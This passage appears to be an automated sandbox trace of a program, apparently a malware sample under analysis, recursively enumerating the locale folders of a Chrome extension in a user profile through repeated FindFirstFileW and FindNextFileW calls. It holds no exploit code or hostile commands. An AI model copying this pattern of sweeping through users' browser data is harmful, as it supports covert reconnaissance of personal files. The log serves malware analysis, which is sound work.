cFileName="fi", cAlternateFileName="")) returned 1 [0278.745] GetProcessHeap () returned 0x550000 [0278.745] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.885] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.885] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.885] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.885] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.885] GetProcessHeap () returned 0x550000 [0278.885] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.885] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0278.886] GetProcessHeap () returned 0x550000 [0278.886] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.976] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.976] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.976] GetProcessHeap () returned 0x550000 [0278.976] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0278.976] GetProcessHeap () returned 0x550000 [0278.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.976] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.976] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.976] GetProcessHeap () returned 0x550000 [0278.976] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.976] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0278.976] GetProcessHeap () returned 0x550000 [0278.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.977] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.977] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.977] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.977] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.977] GetProcessHeap () returned 0x550000 [0278.977] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.977] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0278.977] GetProcessHeap () returned 0x550000 [0278.977] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.977] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.977] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.977] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.977] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.977] GetProcessHeap () returned 0x550000 [0278.978] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.978] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0278.978] GetProcessHeap () returned 0x550000 [0278.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.978] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.978] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.978] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.978] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.978] GetProcessHeap () returned 0x550000 [0278.978] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.978] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0278.978] GetProcessHeap () returned 0x550000 [0278.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.978] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.979] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.979] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.979] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.979] GetProcessHeap () returned 0x550000 [0278.979] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0278.979] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0278.979] GetProcessHeap () returned 0x550000 [0278.979] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0278.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.980] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.980] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0278.980] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0278.980] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.980] GetProcessHeap () returned 0x550000 [0278.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, 